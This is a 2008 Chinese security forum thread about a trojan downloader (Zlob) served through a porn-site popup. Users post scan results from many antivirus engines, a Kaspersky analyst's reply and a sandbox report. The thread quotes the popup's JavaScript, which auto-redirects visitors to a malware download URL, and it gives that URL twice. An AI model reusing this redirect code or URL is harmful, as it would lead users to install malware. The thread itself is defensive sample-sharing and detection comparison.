PornTube..

qianwenxiang

吃饭的时候不小心打开..恶心ing..

一个Popup

function codecDownload()
{
if (window.navigator.userAgent.indexOf("SV1") != -1 || window.navigator.userAgent.indexOf("MSIE 7") !=-1) {
return;
}
else {
  window.setTimeout("location.href='http://www.viewdevice.com/download.php?id=199'", 3000);
}
}
</script>
</head>

带毒，地址为http://www.viewdevice.com/download.php?id=199

avast 0211 Pass

langzi1

OneCare解压不报扫描报。貌似启发的

leonfg

FS 扫描、沙盘 过

AhnLab-V3	2008.2.15.11	2008.02.15	-
AntiVir	7.6.0.65	2008.02.14	DR/Zlob.Gen
Authentium	4.93.8	2008.02.15	-
Avast	4.7.1098.0	2008.02.14	-
AVG	7.5.0.516	2008.02.14	Downloader.Zlob.XQ
BitDefender	7.2	2008.02.15	-
CAT-QuickHeal	None	2008.02.14	-
ClamAV	0.92.1	2008.02.15	Trojan.Dropper-2529
DrWeb	4.44.0.09170	2008.02.14	-
eSafe	7.0.15.0	2008.02.14	-
eTrust-Vet	31.3.5538	2008.02.14	-
Ewido	4.0	2008.02.14	-
FileAdvisor	1	2008.02.15	-
Fortinet	3.14.0.0	2008.02.15	-
F-Prot	4.4.2.54	2008.02.14	-
F-Secure	6.70.13260.0	2008.02.15	-
Ikarus	T3.1.1.20	2008.02.15	-
Kaspersky	7.0.0.125	2008.02.15	-
McAfee	5230	2008.02.14	-
Microsoft	1.3204	2008.02.14	TrojanDownloader:Win32/Zlob.gen!dll
NOD32v2	2876	2008.02.14	-
Norman	5.80.02	2008.02.14	-
Panda	9.0.0.4	2008.02.14	-

[ 本帖最后由 leonfg 于 2008-2-15 13:02 编辑 ]

1993yixin

Start of the scan: 2008年2月15日 星期五  13:00

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\样本\setup.rar'
C:\Documents and Settings\Administrator\桌面\样本\setup.rar
  [0] Archive type: RAR
  --> setup.exe
      [DETECTION] Contains detection pattern of the dropper DR/Zlob.Gen
      [INFO]      The file was deleted!


End of the scan: 2008年2月15日 星期五  13:00
Used time: 00:34 min

The scan has been done completely.

      0 Scanning directories
      2 Files were scanned
      1 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      1 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      1 Files not concerned
      1 Archives were scanned
      0 Warnings
      0 Notes

挪威的冬天

金山毒霸扫描不报 运行后生成物杀

病毒 2008-02-15  13:00:57 病毒在文件D:\Sandbox\挪威的冬天\VirusTest\drive\D\TEMP\User\nsmD5C8.tmp\lerg.dll中 Win32.Troj.GameHookT.x.9216 处理成功（操作：删除）

wangjay1980

打包

setup.exe_ - Trojan-Downloader.Win32.Zlob.hvs

New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Yury Nesmachny
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.

[ 本帖最后由 wangjay1980 于 2008-2-15 14:21 编辑 ]

langzi1

貌似微软的杀软有潜力

woai_jolin

监控很菜

woai_jolin

Hello,

Thanks for taking the time to submit your samples to the Norman
Sandbox Information Center.  Customer delight is our top priority at
Norman.  With that in mind we have developed Sandbox Solutions for
organizations that are committed to speedy analysis and debugging.

Norman Sandbox Solutions give your organization the opportunity to
analyze files immediately in your own environment.

To find out how to bring the power of Norman Sandbox into your test
environments follow the links below.

Norman Sandbox Solutions
http://www.norman.com/Product/Sandbox-products/

Norman Sandbox Analyzer
http://www.norman.com/Product/Sandbox-products/Analyzer/

Norman Sandbox Analyzer Pro
http://www.norman.com/Product/Sandbox-products/Analyzer-pro/

Norman SandBox Reporter
http://www.norman.com/Product/Sandbox-products/Reporter/

setup.exe : Not detected by Sandbox (Signature: NO_VIRUS)


[ DetectionInfo ]
    * Sandbox name: NO_MALWARE
    * Signature name: NO_VIRUS
    * Compressed: NO
    * TLS hooks: NO
    * Executable type: Application
    * Executable file structure: OK

[ General information ]
    * **Locates window "NULL [class #32770]" on desktop.
    * **Locates window "NULL [class Button]" on desktop.
    * File length:        81726 bytes.
    * MD5 hash: 67b959db28a018a45303ac4ada03057d.

[ Changes to filesystem ]
    * Creates directory C:\WINDOWS\TEMP\.
    * Creates file C:\WINDOWS\TEMP\nsk8999.tmp.
    * Deletes file C:\WINDOWS\TEMP\nsk8999.tmp.
    * Creates file C:\WINDOWS\TEMP\nsk0899.tmp.
    * Creates file C:\WINDOWS\TEMP\nss8099.tmp.
    * Deletes file C:\WINDOWS\TEMP\nss8099.tmp.
    * Creates directory C:\WINDOWS.
    * Creates directory C:\WINDOWS\TEMP.
    * Creates directory C:\WINDOWS\TEMP\nss8099.tmp.
    * Creates file C:\WINDOWS\TEMP\nss8099.tmp\reuninstall.ini.
    * Creates file C:\WINDOWS\TEMP\nss8099.tmp\ioSpecial.ini.
    * Creates file C:\WINDOWS\TEMP\nss8099.tmp\modern-wizard.bmp.
    * Deletes file C:\WINDOWS\TEMP\nss8099.tmp\REUNIN~1.INI.
    * Deletes file C:\WINDOWS\TEMP\nss8099.tmp\IOSPEC~1.INI.
    * Deletes file C:\WINDOWS\TEMP\nss8099.tmp\MODERN~1.BMP.
    * Deletes directory C:\WINDOWS\TEMP\nss8099.tmp\.

[ Changes to system settings ]
    * Modifies profile key "RTL"="0" in section [Settings] of file C:\WINDOWS\TEMP\nss8099.tmp\reuninstall.ini.
    * Modifies profile key "RTL"="0" in section [Settings] of file C:\WINDOWS\TEMP\nss8099.tmp\ioSpecial.ini.
    * Modifies profile key "Text"="C:\WINDOWS\TEMP\nss8099.tmp\modern-wizard.bmp" in section [Field 1] of file C:\WINDOWS\TEMP\nss8099.tmp\ioSpecial.ini.

[ Process/window information ]
    * Creates a dialogbox with caption "".
    * Buttons found in dialogbox: "" "" "" .
    * Button is changing text to "&Next >".
    * Button is changing text to "".
    * Button is changing text to "Cancel".
    * Button is changing text to "&Install".
    * Button is changing text to "< &Back".
    * Buttons found in dialogbox: "" "" .
    * Button is changing text to "I &accept the terms in the License Agreement".

[ Signature Scanning ]
    * C:\WINDOWS\TEMP\nsk0899.tmp (119729 bytes) : no signature detection.



(C) 2004-2006 Norman ASA. All Rights Reserved.

The material presented is distributed by Norman ASA as an information source only.

This file is not flagged as malicious by the Norman Sandbox Information Center. However, we can not guarantee that the file is harmless. If you still suspect the file to be malicious and if you urgently need to know for sure, please submit it to your local Norman support department for manual analysis.


************************************
Sent from an unmonitored email address.
Please DO NOT reply.
************************************

leonfg

原帖由 woai_jolin 于 2008-2-15 13:17 发表
Hello,

Thanks for taking the time to submit your samples to the Norman
Sandbox Information Center.  Customer delight is our top priority at
Norman.  With that in mind we have developed Sandbox  ...

蔡版杀软真多